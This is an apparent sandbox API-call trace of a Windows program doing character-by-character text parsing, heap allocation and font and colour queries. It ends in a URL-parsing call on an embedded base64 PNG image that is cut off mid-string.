[0102.887] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.887] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.887] IsCharAlphaNumericW (ch=0x33) returned 1
[0102.887] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.887] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.887] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.887] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.887] IsCharAlphaNumericW (ch=0x31) returned 1
[0102.887] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.887] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.887] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4a4658, Size=0x60) returned 0x49ef20
[0102.887] IsCharAlphaNumericW (ch=0x7d) returned 0
[0102.887] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4b67c8, Size=0x34) returned 0x4901e0
[0102.887] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x498758
[0102.887] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4) returned 0x4a07b8
[0102.887] IsCharAlphaNumericW (ch=0x2e) returned 0
[0102.887] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bbfe0
[0102.888] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.888] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.888] IsCharAlphaNumericW (ch=0x2e) returned 0
[0102.888] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497c10 | out: hHeap=0x450000) returned 1
[0102.888] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc000
[0102.888] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.888] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.888] IsCharAlphaNumericW (ch=0x7b) returned 0
[0102.888] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.888] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.888] IsCharAlphaNumericW (ch=0x23) returned 0
[0102.888] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.888] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.888] IsCharSpaceW (wch=0x23) returned 0
[0102.888] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4bc020
[0102.888] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4658
[0102.888] IsCharSpaceW (wch=0x30) returned 0
[0102.888] IsCharSpaceW (wch=0x25) returned 0
[0102.888] IsCharSpaceW (wch=0x25) returned 0
[0102.888] IsCharSpaceW (wch=0x0) returned 0
[0102.888] IsCharSpaceW (wch=0x30) returned 0
[0102.888] IsCharSpaceW (wch=0x25) returned 0
[0102.888] IsCharSpaceW (wch=0x25) returned 0
[0102.888] IsCharSpaceW (wch=0x0) returned 0
[0102.888] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4a4658, Size=0x60) returned 0x49ef88
[0102.888] IsCharAlphaNumericW (ch=0x7d) returned 0
[0102.888] IsCharSpaceW (wch=0xd) returned 1
[0102.888] IsCharSpaceW (wch=0xa) returned 1
[0102.888] IsCharSpaceW (wch=0x20) returned 1
[0102.888] IsCharSpaceW (wch=0x20) returned 1
[0102.888] IsCharSpaceW (wch=0x20) returned 1
[0102.888] IsCharSpaceW (wch=0x20) returned 1
[0102.889] IsCharSpaceW (wch=0x20) returned 1
[0102.889] IsCharSpaceW (wch=0x20) returned 1
[0102.889] IsCharSpaceW (wch=0x2e) returned 0
[0102.889] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4a06b8, Size=0x10) returned 0x498770
[0102.889] IsCharAlphaNumericW (ch=0x2e) returned 0
[0102.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc040
[0102.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.889] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.889] IsCharSpaceW (wch=0x20) returned 1
[0102.889] IsCharSpaceW (wch=0x75) returned 0
[0102.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4a06b8
[0102.889] IsCharSpaceW (wch=0x20) returned 1
[0102.889] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.889] IsCharSpaceW (wch=0x20) returned 1
[0102.889] IsCharSpaceW (wch=0x7b) returned 0
[0102.889] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497c10 | out: hHeap=0x450000) returned 1
[0102.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc060
[0102.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.889] IsCharSpaceW (wch=0x20) returned 1
[0102.889] IsCharAlphaNumericW (ch=0x7b) returned 0
[0102.889] IsCharSpaceW (wch=0xd) returned 1
[0102.889] IsCharSpaceW (wch=0xa) returned 1
[0102.889] IsCharSpaceW (wch=0x20) returned 1
[0102.889] IsCharSpaceW (wch=0x20) returned 1
[0102.889] IsCharSpaceW (wch=0x20) returned 1
[0102.889] IsCharSpaceW (wch=0x20) returned 1
[0102.889] IsCharSpaceW (wch=0x20) returned 1
[0102.889] IsCharSpaceW (wch=0x20) returned 1
[0102.889] IsCharSpaceW (wch=0x20) returned 1
[0102.889] IsCharSpaceW (wch=0x20) returned 1
[0102.889] IsCharSpaceW (wch=0x6d) returned 0
[0102.889] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497c10 | out: hHeap=0x450000) returned 1
[0102.890] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.890] IsCharSpaceW (wch=0x3a) returned 0
[0102.890] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x48b198
[0102.890] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.890] IsCharSpaceW (wch=0x20) returned 1
[0102.890] IsCharSpaceW (wch=0x30) returned 0
[0102.890] IsCharAlphaNumericW (ch=0x30) returned 1
[0102.890] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.890] IsCharSpaceW (wch=0x3b) returned 0
[0102.890] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.890] IsCharSpaceW (wch=0xd) returned 1
[0102.890] IsCharSpaceW (wch=0xa) returned 1
[0102.890] IsCharSpaceW (wch=0x20) returned 1
[0102.890] IsCharSpaceW (wch=0x20) returned 1
[0102.890] IsCharSpaceW (wch=0x20) returned 1
[0102.890] IsCharSpaceW (wch=0x20) returned 1
[0102.890] IsCharSpaceW (wch=0x20) returned 1
[0102.890] IsCharSpaceW (wch=0x20) returned 1
[0102.890] IsCharSpaceW (wch=0x7d) returned 0
[0102.890] IsCharSpaceW (wch=0x30) returned 0
[0102.890] IsCharSpaceW (wch=0x30) returned 0
[0102.890] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4bc080
[0102.890] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4658
[0102.890] IsCharAlphaNumericW (ch=0x7d) returned 0
[0102.890] IsCharSpaceW (wch=0xd) returned 1
[0102.890] IsCharSpaceW (wch=0xa) returned 1
[0102.890] IsCharSpaceW (wch=0x20) returned 1
[0102.890] IsCharSpaceW (wch=0x20) returned 1
[0102.890] IsCharSpaceW (wch=0x20) returned 1
[0102.890] IsCharSpaceW (wch=0x20) returned 1
[0102.890] IsCharSpaceW (wch=0x20) returned 1
[0102.890] IsCharSpaceW (wch=0x20) returned 1
[0102.890] IsCharSpaceW (wch=0x2e) returned 0
[0102.890] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x498788
[0102.890] IsCharAlphaNumericW (ch=0x2e) returned 0
[0102.890] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc0a0
[0102.890] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.891] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.891] IsCharSpaceW (wch=0x20) returned 1
[0102.891] IsCharSpaceW (wch=0x70) returned 0
[0102.891] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4a07f8
[0102.891] IsCharSpaceW (wch=0x20) returned 1
[0102.891] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.891] IsCharSpaceW (wch=0x20) returned 1
[0102.891] IsCharSpaceW (wch=0x7b) returned 0
[0102.891] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497c10 | out: hHeap=0x450000) returned 1
[0102.891] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc0c0
[0102.891] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.891] IsCharSpaceW (wch=0x20) returned 1
[0102.891] IsCharAlphaNumericW (ch=0x7b) returned 0
[0102.891] IsCharSpaceW (wch=0xd) returned 1
[0102.891] IsCharSpaceW (wch=0xa) returned 1
[0102.891] IsCharSpaceW (wch=0x20) returned 1
[0102.891] IsCharSpaceW (wch=0x20) returned 1
[0102.891] IsCharSpaceW (wch=0x20) returned 1
[0102.891] IsCharSpaceW (wch=0x20) returned 1
[0102.891] IsCharSpaceW (wch=0x20) returned 1
[0102.891] IsCharSpaceW (wch=0x20) returned 1
[0102.891] IsCharSpaceW (wch=0x20) returned 1
[0102.891] IsCharSpaceW (wch=0x20) returned 1
[0102.891] IsCharSpaceW (wch=0x6d) returned 0
[0102.891] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497c10 | out: hHeap=0x450000) returned 1
[0102.891] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.891] IsCharSpaceW (wch=0x3a) returned 0
[0102.891] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x48b1c0
[0102.891] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.891] IsCharSpaceW (wch=0x20) returned 1
[0102.892] IsCharSpaceW (wch=0x31) returned 0
[0102.892] IsCharAlphaNumericW (ch=0x31) returned 1
[0102.892] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.892] IsCharSpaceW (wch=0x3b) returned 0
[0102.892] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.892] IsCharSpaceW (wch=0xd) returned 1
[0102.892] IsCharSpaceW (wch=0xa) returned 1
[0102.892] IsCharSpaceW (wch=0x20) returned 1
[0102.892] IsCharSpaceW (wch=0x20) returned 1
[0102.892] IsCharSpaceW (wch=0x20) returned 1
[0102.892] IsCharSpaceW (wch=0x20) returned 1
[0102.892] IsCharSpaceW (wch=0x20) returned 1
[0102.892] IsCharSpaceW (wch=0x20) returned 1
[0102.892] IsCharSpaceW (wch=0x20) returned 1
[0102.892] IsCharSpaceW (wch=0x20) returned 1
[0102.892] IsCharSpaceW (wch=0x6c) returned 0
[0102.892] IsCharSpaceW (wch=0x78) returned 0
[0102.892] IsCharSpaceW (wch=0x31) returned 0
[0102.892] IsCharSpaceW (wch=0x31) returned 0
[0102.892] IsCharSpaceW (wch=0x70) returned 0
[0102.892] IsCharSpaceW (wch=0x70) returned 0
[0102.892] IsCharSpaceW (wch=0x78) returned 0
[0102.892] IsCharSpaceW (wch=0x0) returned 0
[0102.892] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4bc0e0
[0102.892] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a46a0
[0102.892] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.892] IsCharSpaceW (wch=0x3a) returned 0
[0102.892] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.892] IsCharSpaceW (wch=0x20) returned 1
[0102.892] IsCharSpaceW (wch=0x31) returned 0
[0102.892] IsCharAlphaNumericW (ch=0x31) returned 1
[0102.892] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.892] IsCharSpaceW (wch=0x3b) returned 0
[0102.892] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.892] IsCharSpaceW (wch=0xd) returned 1
[0102.892] IsCharSpaceW (wch=0xa) returned 1
[0102.892] IsCharSpaceW (wch=0x20) returned 1
[0102.892] IsCharSpaceW (wch=0x20) returned 1
[0102.892] IsCharSpaceW (wch=0x20) returned 1
[0102.892] IsCharSpaceW (wch=0x20) returned 1
[0102.893] IsCharSpaceW (wch=0x20) returned 1
[0102.893] IsCharSpaceW (wch=0x20) returned 1
[0102.893] IsCharSpaceW (wch=0x20) returned 1
[0102.893] IsCharSpaceW (wch=0x20) returned 1
[0102.893] IsCharSpaceW (wch=0x66) returned 0
[0102.893] IsCharSpaceW (wch=0x78) returned 0
[0102.893] IsCharSpaceW (wch=0x31) returned 0
[0102.893] IsCharSpaceW (wch=0x31) returned 0
[0102.893] IsCharSpaceW (wch=0x70) returned 0
[0102.893] IsCharSpaceW (wch=0x70) returned 0
[0102.893] IsCharSpaceW (wch=0x78) returned 0
[0102.893] IsCharSpaceW (wch=0x0) returned 0
[0102.893] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.893] IsCharSpaceW (wch=0x3a) returned 0
[0102.893] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.893] IsCharSpaceW (wch=0x20) returned 1
[0102.893] IsCharSpaceW (wch=0x31) returned 0
[0102.893] IsCharAlphaNumericW (ch=0x31) returned 1
[0102.893] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.893] IsCharSpaceW (wch=0x3b) returned 0
[0102.893] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.893] IsCharSpaceW (wch=0xd) returned 1
[0102.893] IsCharSpaceW (wch=0xa) returned 1
[0102.893] IsCharSpaceW (wch=0x20) returned 1
[0102.893] IsCharSpaceW (wch=0x20) returned 1
[0102.893] IsCharSpaceW (wch=0x20) returned 1
[0102.893] IsCharSpaceW (wch=0x20) returned 1
[0102.893] IsCharSpaceW (wch=0x20) returned 1
[0102.893] IsCharSpaceW (wch=0x20) returned 1
[0102.893] IsCharSpaceW (wch=0x7d) returned 0
[0102.893] IsCharSpaceW (wch=0x78) returned 0
[0102.893] IsCharSpaceW (wch=0x31) returned 0
[0102.893] IsCharSpaceW (wch=0x31) returned 0
[0102.893] IsCharSpaceW (wch=0x70) returned 0
[0102.893] IsCharSpaceW (wch=0x70) returned 0
[0102.893] IsCharSpaceW (wch=0x78) returned 0
[0102.893] IsCharSpaceW (wch=0x0) returned 0
[0102.894] IsCharAlphaNumericW (ch=0x7d) returned 0
[0102.894] IsCharSpaceW (wch=0xd) returned 1
[0102.894] IsCharSpaceW (wch=0xa) returned 1
[0102.894] IsCharSpaceW (wch=0xd) returned 1
[0102.894] IsCharSpaceW (wch=0xa) returned 1
[0102.894] IsCharSpaceW (wch=0x20) returned 1
[0102.894] IsCharSpaceW (wch=0x20) returned 1
[0102.894] IsCharSpaceW (wch=0x20) returned 1
[0102.894] IsCharSpaceW (wch=0x20) returned 1
[0102.894] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4987a0
[0102.894] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x48b1e8
[0102.894] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b8c10 | out: hHeap=0x450000) returned 1
[0102.895] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48cb40 | out: hHeap=0x450000) returned 1
[0102.895] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b8d08 | out: hHeap=0x450000) returned 1
[0102.896] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc0) returned 0x4b8c10
[0102.896] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4b97b8, Size=0x150) returned 0x48b598
[0102.896] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b8c10 | out: hHeap=0x450000) returned 1
[0102.896] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xec) returned 0x4b9770
[0102.896] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x64) returned 0x48cb40
[0102.896] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xec) returned 0x48b6f0
[0102.897] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x64) returned 0x4b8d70
[0102.897] EnumFontFamiliesExW (hdc=0xa01025b, lpLogfont=0x1cecc8, lpProc=0x7333bbcd, lParam=0x1cec80, dwFlags=0x0) returned 0
[0102.897] MulDiv (nNumber=11250, nNumerator=20, nDenominator=1000) returned 225
[0102.897] GetSysColor (nIndex=5) returned 0xffffff
[0102.897] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4bc120
[0102.897] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a46e8
[0102.899] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x100) returned 0x48b8e0
[0102.899] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.899] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.899] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497c10 | out: hHeap=0x450000) returned 1
[0102.899] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.899] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49c4f0 | out: hHeap=0x450000) returned 1
[0102.899] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b7e8 | out: hHeap=0x450000) returned 1
[0102.899] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b6f0 | out: hHeap=0x450000) returned 1
[0102.900] GetSysColor (nIndex=5) returned 0xffffff
[0102.900] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4a0808 | out: hHeap=0x450000) returned 1
[0102.900] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x49c4f0
[0102.900] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xec) returned 0x48b9e8
[0102.900] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.900] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.900] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.900] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.900] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497c10 | out: hHeap=0x450000) returned 1
[0102.900] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.900] ParseURLW (in: pcszURL="data:image/png;base64,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